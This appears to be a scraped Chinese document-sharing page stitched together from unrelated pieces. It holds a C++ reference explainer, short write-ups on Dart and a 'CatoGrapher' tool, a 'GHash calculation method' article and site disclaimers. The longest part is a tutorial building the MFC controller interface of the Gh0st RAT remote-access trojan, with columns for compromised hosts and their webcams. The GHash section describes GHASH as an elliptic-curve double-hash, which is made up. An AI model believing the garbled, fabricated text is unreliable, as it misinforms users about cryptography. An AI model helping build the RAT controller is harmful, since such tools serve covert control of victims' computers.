//为变量m定义了一个引用n,m是被引用,对n的操作就相当于对m来进行操作了,这里n既不是m的一个拷贝,又不是指向m的一个指针,而n就是m,作用就是用于函数的型参和返回值上,引用也是使用了一个地址传递的方式,比值传递的速度要快指针与引用的区别:主要是吴国的水军大都督是周瑜,那么这个吴国的水军大都督可看成是一个指针,引用被创建的时候是必须要进行初始化的,而指针是在任何时候被初始化的另一个引用不可以是NULL,必须有一个合法的存储单位和引用相关联,而指针是可以有NULL的。
dert源码解析
dert源码解析Dart 源码解析Dart 是一种由 Google 开发的面向对象的编程语言,主要用于构建高性能、可靠的应用程序。
Dart 被设计为一种非常现代化的语言,具有高效的垃圾收集器、优秀的异步编程模型和高效的 JIT 和 AOT 编译器等优秀特性。
Dart 语言的源码可以在 GitHub 上进行获取并进行分析。
该代码库包含了许多重要的组件和类库,例如代码执行引擎、标准库、编译器和运行时等。
这些组件和类库是构建 Dart 应用程序所必需的核心部分。
代码执行引擎Dart 语言的代码执行引擎是 DartVM。
它是以 C++ 语言编写的高性能虚拟机,具有非常优秀的性能和可扩展性。
DartVM 使用了许多高效的技术来实现快速代码执行,例如 JIT(Just-in-time)编译器和AOT(Ahead-of-time)编译器。
JIT 编译器可以在运行时动态地将Dart 代码编译成本机机器码,从而提高了执行速度;而 AOT 编译器则可以在编译时将 Dart 代码编译成本机机器码,从而进一步提高了执行速度。
标准库Dart 语言的标准库包含了许多重要的组件和工具,例如集合类、字符串处理类、IO 类、日期时间类等。
这些类库提供了丰富的功能和优秀的性能,可以在 Dart 应用程序中用来完成各种任务。
编译器Dart 语言的编译器是 Dart 编译器。
它可以将 Dart 代码编译成可执行二进制文件,从而实现对 Dart 代码的完全解释。
Dart 编译器支持多种平台,包括 Windows、Mac OS X 和 Linux 等。
同时,它还支持AOT 编译器和 JIT 编译器,并且可以使用 DDC(Dart Development Compiler)进行 Incremental 编译。
DDC 可以快速地将 Dart 代码编译成 JavaScript 代码,从而使 Dart 应用程序可以在 Web 环境中运行。
运行时Dart 语言的运行时包括许多重要的组件和工具,例如虚拟机(DartVM)、垃圾收集器和异步执行库等。
ghash计算方法
ghash计算方法(实用版2篇)篇1 目录1.GHash 计算方法概述2.GHash 计算方法的算法原理3.GHash 计算方法的优势与应用场景4.GHash 计算方法的局限性和改进方向篇1正文一、GHash 计算方法概述GHash 计算方法是一种基于散列函数的加密算法,主要应用于分布式系统和密码学领域。
它通过将数据进行哈希运算,生成一个固定长度的哈希值,从而实现数据的快速查找、加密和验证等功能。
GHash 算法具有较高的安全性和效率,因此在许多场景下得到了广泛应用。
二、GHash 计算方法的算法原理GHash 算法的原理基于椭圆曲线密码学(ECC)和双散列(Double-Hashing)技术。
首先,输入数据会经过 ECC 算法进行加密,生成一个椭圆曲线上的点。
接着,该点会与一个固定的基点进行相乘,得到一个新的点。
将新点的 x 坐标和 y 坐标分别进行哈希运算,得到两个哈希值。
最后,将这两个哈希值进行拼接,形成一个最终的哈希值。
三、GHash 计算方法的优势与应用场景GHash 计算方法具有以下优势:1.高安全性:基于椭圆曲线密码学,GHash 算法具有较高的抗碰撞性能和抗攻击能力。
2.高效率:通过双散列技术,GHash 算法能够快速生成哈希值,满足分布式系统中对速度的要求。
3.可靠性:GHash 算法生成的哈希值具有唯一性,可用于数据的快速查找、加密和验证等场景。
GHash 计算方法在以下场景中有广泛应用:1.分布式系统:在分布式系统中,GHash 算法可用于实现数据存储、节点通信和共识算法等功能。
2.密码学领域:GHash 算法在密码学领域可用于实现数字签名、消息认证码和匿名认证等应用。
3.数据库系统:在数据库系统中,GHash 算法可用于实现快速数据查找、索引和加密等功能。
四、GHash 计算方法的局限性和改进方向尽管 GHash 计算方法具有较高的安全性和效率,但仍然存在一定的局限性:1.算法复杂度:GHash 算法基于椭圆曲线密码学,算法复杂度较高,可能导致计算速度较慢。
catorgrapher源码解析
CatoGrapher是一个图形化界面工具,用于构建和编辑有向无环图(Directed Acyclic Graph,DAG)。
它的源码是用Python编写的,使用了多个第三方库,包括PyQt5、networkx和matplotlib等。
以下是对CatoGrapher源码的解析:1. 文件结构CatoGrapher的源码包含多个文件,其中最主要的文件是catographer.py,它包含了图形化界面的实现和业务逻辑。
其他文件包括:* catographer_rc.py:资源文件,包含图形化界面的相关资源,如图片、图标等。
* utils.py:工具函数集,包含了一些常用的函数,如文件操作、字符串处理等。
* dagsubnet.py:DAG子网络的实现,用于描述和操作DAG中的节点和边。
* dagview.py:DAG视图的实现,用于渲染和展示DAG。
* main.py:主函数,用于启动图形化界面。
2. 核心功能解析CatoGrapher的核心功能包括:* DAG子网络实现:CatoGrapher使用networkx库实现了DAG 子网络的描述和操作。
每个DAG子网络由多个节点和边组成,节点和边都包含了自己的属性和行为。
CatoGrapher通过DAG子网络实现了节点的添加、删除、修改、拖拽、连接等操作。
* DAG视图渲染:CatoGrapher使用matplotlib库实现了DAG视图的渲染。
视图中的每个节点和边都由一个矩形和箭头表示,节点和边之间的连接关系也被清晰地展示出来。
CatoGrapher还支持多种视图模式,如俯视图、侧视图等。
* 图形化界面实现:CatoGrapher使用PyQt5库实现了图形化界面的开发。
界面包括菜单栏、工具栏、状态栏和中央视图窗口等部分。
用户可以通过菜单栏和工具栏进行节点和边的添加、删除、修改、拖拽、连接等操作,也可以通过状态栏查看当前DAG的状态信息。
* 业务逻辑处理:CatoGrapher实现了相应的业务逻辑处理,包括节点和边的添加、删除、修改、拖拽、连接等操作的实现以及视图更新等。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
MICROSOFT SPEECH SDK 5.1\INCLUDEMICROSOFT SPEECH SDK 5.1\LIB以上两个目录是教程里面提到的,可以不使用,一样可以编译第一节课新建MFC工程,单文档模式,基类用CListView,其余默认即可打开gh0stView.cpp找到void CGh0stView::OnInitialUpdate()函数新建一个结NONCLIENTMETRICS ncm;NONCLIENTMETRICS这个结构就包含了非客户区的一些属性对ncm变量进行初始化memset(&ncm, 0, sizeof(NONCLIENTMETRICS));对这个结构的成员函数进行设置ncm.cbSize = sizeof(NONCLIENTMETRICS); //指定了ncm的大小使用宏VERIFY(::SystemParametersInfo(SPI_GETNONCLIENTMETRICS,sizeof(NONCLIENTMETRICS), &ncm,0));其目的是方便调试,在Debug版本中,如果计算的表达式为0则中断程序,并打印出错误信息,如果在Release版本中,出现表达式为0的时候,则不做任何的处理,当没有发生::SystemParametersInfo调用系统函数,查询或是设置系统参数,或是修改用户的一个外观,返回值是一个BOOL类型第一个参数是获取非客户区参数第二个参数是整个的非客户区结构的大小第三个参数是将获得到的信息保存在ncm这个地址中第四个参数由于是为了获取信息写0即可,如果是设置信息为目的,就需要换成其它参考MSDN第二节课在gh0stView.h中声明一个私有成员变量公有成员可以被所有类访问受保护成员只能在类内部或其子类可以访问私有成员只能在类内部访问,其子类是不可以访问的private:CListCtrl* m_pListCtrl;私有的列表控件的指针,为什么要声明这个呢,我们之前提到了基类是CListView,因此在这个里声明了一个指针CPP是执行文件,H是头文件接下来对我们在CPP文件中声明的私有成员变量进行赋值m_pListCtrl=&GetListCtrl();GetListCtrl()这个函数的原型是CListView::GetListCtrlCListCtrl& GetListCtrl() const; 得到一个和视图相关联的一个列表控件的引用引用的使用方法:引用相当于是一个别名,周瑜和周公谨是一个人,引用和变量也相当于是一个东西int m;int &n = m; //为变量m定义了一个引用n,m是被引用,对n的操作就相当于对m来进行操作了,这里n既不是m的一个拷贝,又不是指向m的一个指针,而n就是m,作用就是用于函数的型参和返回值上,引用也是使用了一个地址传递的方式,比值传递的速度要快指针与引用的区别:主要是吴国的水军大都督是周瑜,那么这个吴国的水军大都督可看成是一个指针,引用被创建的时候是必须要进行初始化的,而指针是在任何时候被初始化的另一个引用不可以是NULL,必须有一个合法的存储单位和引用相关联,而指针是可以有NULL的。
第三个区别是引用一旦被初始化了,就不能改变引用的关系了,可指针可以随便改变所指向的对象使用GetListCtrl()这个函数实际上是为这个列表控件找了一个别名,以后对这个引用的操作,实际上就是对这个列表控件的操作了地址符号和引用符号是相同的,都是&m_pListCtrl=&GetListCtrl();这句的意思就是这个指针变量指向了这个引用,因为给指针赋值的话,就是将地址赋给指针,也可以理解为让周公瑾担任了吴国的水军大都督接下来,我们声明了一个局部的变量HIMAGELIST 这是个WIN32的基本的数据类型,代表的是图像列表的句柄,表示的是软件上线的肉鸡的小图标Shell_GetImageLists 这是一个没有公开的API函数在SHELL32.dll中,返回操作系统图像列表的一个句柄,与SystemParametersInfo的作用基本上是相同的,这个函数适用于所有的WINDOWS版本用法:Shell_GetImageLists(NULL, &hImageListSmall);将获得到的保存在了这个地址当中接下来将得到的这个系统图像列表设置到我们这个程序当中来通过一个宏ListView_SetImageList()这个宏的目的就是将得到的操作系统的图像列表控件分配给程序的视图控件ListView_SetImageList(m_pListCtrl->m_hWnd, hImageListSmall, LVSIL_SMALL);第一个参数是指列表视图控件的一个句柄第二个参数是指要分配的图像列表的句柄第三个参数是指图像列表的一个类型接下来调用一个列表视图控件的一个成员函数来设置它为一个扁平风格和全选风格m_pListCtrl->SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);声明列表项的一个结构在gh0stView.cpp中typedef struct{char* title;int nWidth;}COLUMNSTRUCT; //这个结构体名字叫COLUMNSTRUCT接下来,我们再定义一个结构体的数组,保存各个列的标题和宽度COLUMNSTRUCT g_Column_Data[] ={{"ID",48},{"WAN",102},{"LAN",102},{"计算机名/备注",107},{"操作系统",128},{"CPU",55},{"Ping",40},{"摄像头",51},{"区域",100}}这里我们多写了一列{"区域",100},其中的这一列是隐藏的,是IP地址定位的数据库,需要和程序一个目录下有一个QQwry.dat这样的文件存在这样的话就需要有一个变量来进行判断这个文件是不是存在,我们在头文件gh0st.h中进行声明,在类class CGh0stApp下声明一个全局的成员变量m_bIsQQwryExist,是BOOL类型接下来在构造函数中CGh0stApp::CGh0stApp()声明一个句柄HANDLE hFile; 来接收下面函数的返回值hFile = CreateFile("QQwry.dat",0,0,NULL,OPEN_EXISTING,NULL);第一个参数是要访问的文件名,是一个常量宽字符串的指针第二个参数是授予的访问级别,0代表可以查询是否存在第三个参数指向了一些标志,如何被共享,因为没涉及到共享,0代表文件不共享第四个参数指定这个句柄是否能被子进程继承,使用NULL代表不继承第五个参数是对这个指定的文件有什么动作,我们的目的是判断这个文件是否存在,我们需要指定的参数应该选择OPEN_EXISTING第六个参数指定了这个文件的属性和标志,对查询没有什么关联,设置为0第七个参数是当权限为只读时起作用,这里设置为NULL代表和查询没有关系这个函数失败的时候,返回值为INV ALID_HANDLE_V ALUE接下来我们对上面函数的返回值进行判断if(hFile != INV ALID_HANDLE_V ALUE){m_bIsQQwryExist = TRUE;}else{m_bIsQQwryExist = FALSE;}接下来我们在gh0stView.cpp中进行这个BOOL类型变量的判断我们声明一个变量,作为远程控制软件的列表列的个数int g_Column_Count;这个变量的值为(sizeof(g_Column_Data)/8) - !((CGh0stApp*)AfxGetApp())->m_bIsQQwryExist;sizeof的返回值是字节AfxGetApp() 这个函数的原型是CWinApp* AfxGetApp(); 返回值是应用程序的单一的CWinApp对象的一个指针,再将这个指针转换成CGh0stApp*类型,因为这两个类一个是基类一个是子为的关系,也就是这样的操作实际上就得到了CWinApp类的一个指针,再用这个指针调用这个类里面的成员变量接下来再定义一个变量来定义软件的总界面宽度,在gh0stView.cpp中int g_Column_Width =0;接下来回到函数void CGh0stView::OnInitialUpdate()上来设置CListCtrl::InsertColumn()int InsertColumn(int nCol, const LVCOLUMN* pColumn);int InsertColumn(int nCol, LPCTSTR lpszColumnHeading, int nFormat=LVCFMT_LEFT, int nWidth = -1, int nSubItem = -1);第二种用法,第一个参数,列的索引号第二个参数,是一个字符串的地址,这个地址包含了字符串的内容m_pListCtrl->InsertColumn(i, g_Column_Data[i].title);SetColumnWidth() 这个函数的目的是改变列表视图控件的列的宽度,原型为BOOL SetColumnWidth(int nCol, int cx);第一个参数是要修改的列的索引号第二个参数是要我们具体的将列设置成多大m_pListCtrl->SetColumnWidth(i,g_Column_Data[i].nWidth);g_Column_Width += g_Column_Data[i].nWidth; 设置软件界面的宽度是几个列的累加宽度for (int i=0; i<g_Column_Count; i++){m_pListCtrl->InsertColumn(i, g_Column_Data[i].title);m_pListCtrl->SetColumnWidth(i,g_Column_Data[i].nWidth);g_Column_Width += g_Column_Data[i].nWidth;}接下来,我们还需要调用一个函数PostMessage来发送一个消息,windows程序是以事件为驱动,以消息机制为基础的是不是只有操作系统才能发送这样的一个消息呢,实际上不是,自己编写的程序也是可以的CWnd::PostMessageBOOL PostMessage(UINT message, WPARAM wParam=0, LPARAM lParam =0 );PostMessage(WM_MYINITIALUPDATE);这个函数的作用是将一个消息放到窗口的消息队列当中,不等待执行就返回,这个窗口就是指这个远控软件的进程,在我们程序中如果要接收到这个发送过来的消息的话,需要用到GetMessage或者PeekMessage这两个函数在发送之前,我们需要自定义一个消息ON_MESSAGE宏来进行消息的映射这个宏要写在BEGIN_MESSAGE_MAP和END+MESSAGE_MAP之间,在gh0stView.cpp 中去写入,写这个宏的目的是将消息和这个消息响应函数关联在一起自己定义的消息应该在WM_USER和0x7FFF之间#define WM_MYINITIALUPDATE (WM_USER+101) //宏定义时名字与括号间要有空格ON_MESSAGE的两个参数,一个是消息,我们已经自定义了,另一个就是消息响应函数,我们可以在头文件gh0stView.h中声明一个私有的成员函数afx_msg LRESULT OnMyInitialUpdate(WPARAM, LPARAM);afx表示定义的是应用程序框架,表示的是消息响应函数LRESULT代表的是32位的一个返回值WPARAM和LPARAM都是一个指针,在LPARAM中高字节存储的是消息,低字节存储的,是事件的ID,而WPARAM中一般存储的都是句柄所以上面的消息映射函数应写成ON_MESSAGE(WM_MYINITIALUPDATE,OnMyInitialUpdate)接下来就是需要对这个消息向应函数进行编写,写在gh0stView.cpp中的CGh0stView message handlers注释下面在函数体中CGh0stView* pView =this;再写入一个返回return 0; 表示这个函数执行完成声明一个类的指针,this表示的是CGh0stView类,这就是给这个this类取个名字接下来就是对CMainFrame这个类进行编写DOC这个类是存放数据的,程序中所使用的所有数据都是存在这个DOC文档当中的VIEW这个类是用来画图或者是打印的MainFrm这个类是窗口的一个框架,一般是作为主窗口出现的,用来包含各种窗口,或都是处理菜单和工具档的一些命令,这个类就涉及到程序主界面的编写框架类中的OnCreate函数是用来创建程序的主窗口状态栏也可以看作是一个窗口,以官方程序为例,这个状态栏分成了四个窗格状态栏分为两类,一类是提示行,第二类是以窗格的形式来进行排列的显示,成为状态的指示器在这个MainFrm.cpp中的OnCreate函数中我们会发现有这个m_wndToolBar变量,很明显这是个工具栏,而在远控中我们是看不到工具栏的,所在我们要去掉有关工具栏的编程,首先我们在头文件中去掉,这个变量的声明CToolBar m_wndToolBar;接下来在CPP执行文件中去掉和工具栏编程相关联的部分代码if (!m_wndToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP | CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FL YBY | CBRS_SIZE_DYNAMIC) ||!m_wndToolBar.LoadToolBar(IDR_MAINFRAME)){TRACE0("Failed to create toolbar\n");return -1; // fail to create}以及m_wndToolBar.EnableDocking(CBRS_ALIGN_ANY);EnableDocking(CBRS_ALIGN_ANY);DockControlBar(&m_wndToolBar);接下来我们说明一下CStatusBar::Create这个函数的作用是在它的父窗口中创建一个窗口m_wndStatusBar.Create(this)这个函数就是在主窗口中创建了一个状态栏m_wndStatusBar.SetIndicators(indicators, sizeof(indicators)/sizeof(UINT))设置指示器的ID,把ID设置成这个函数的第一个参数所以在导入之前,我们需要在资源文件String Table中将这个ID写进去我们发现indicators在上面有声明是一个数组static UINT indicators[] ={ID_SEPARATOR, // status line indicatorID_INDICATOR_CAPS,ID_INDICATOR_NUM,ID_INDICATOR_SCRL,};这里面的ID_SEPARATOR在String Table中是可以找到的,我们就是要将新的ID加进去修改为static UINT indicators[] ={ID_STAUTSTIP,ID_STAUTSTSPEED,ID_STAUTSTPORT,ID_STAUTSTCOUNT,};并在相应的String Table中进行添加标题这样的话,就可以在状态栏中将这四个窗口栏显示出来第五节课我们通过一个成员变量m_wndStatusBar来调用相应的状态栏的成员函数SetPaneInfo设置窗格信息的,主要是设置窗格的宽度这个函数是设置指示器窗格的新的ID,样式和宽度第一个参数是设置的窗格索引号,0代表第一个窗格第二个参数是ID号,m_wndStatusBar.GetItemID(0)的意思指的就是ID_STAUTSTIP,这里的0指的是索引号第三个参数是指指示器新的一个风格SBPS_STRETCH,意思是没有使用的区域就会扩展这个窗格,几个窗格中只能有一个窗格可以设置成这个,本程序指定的是第一个窗格第四个参数指示的具体的宽度SBPS_NORMAL风格指的是普通的风格完整的设置为m_wndStatusBar.SetPaneInfo(0,m_wndStatusBar.GetItemID(0),SBPS_STRETCH,NULL);m_wndStatusBar.SetPaneInfo(1,m_wndStatusBar.GetItemID(1),SBPS_NORMAL,160);m_wndStatusBar.SetPaneInfo(2,m_wndStatusBar.GetItemID(2),SBPS_NORMAL,70);m_wndStatusBar.SetPaneInfo(3,m_wndStatusBar.GetItemID(3),SBPS_NORMAL,80);接下来我们要设置程序界面的高度和宽度,我们需要重写这样一个函数PreCreateWindow,在头文件中,我们发现这个函数声明为了一个公共的成员函数,且是一个虚函数,可以用来重载,这个函数的参数是CREATESTRUCT类型的,这是一个结构体更改窗口的宽度,实际上需要更改cs它的一些成员变量指定新窗口的宽度,像素为单位cs.cx = 646;同时还要考虑如果存在9列的时候,程序的宽度应该是有变化的if (((CGh0stApp*)AfxGetApp())->m_bIsQQwryExist){cs.cx +=100;}最后设置软件的高度即可,cs.cy = 310;接下来,修改程序的标题单文档的应用程序当中,有一个窗口的缺省的类型,只要修改了这个类型就可以了把文档的类型添加到窗口的标题,是有一个叫FWS_ADDTOTITLE是我们窗口的一个缺省的类型,我们要做的是去掉,也就是我们要在窗口的样式中把这个类型去掉,我们的操作是cs.style &= ~FWS_ADDTOTITLE; 意思是将这个类型对非之后,再与原来的样式取与操作,就达到了去掉的目的,而后再使用cs.lpszName = "Gh0st RAT Beta 3.6";将窗口的标题进行设置即可,如果不去掉那个类型的话,那个类型就会自动的将窗口的标题进行覆盖。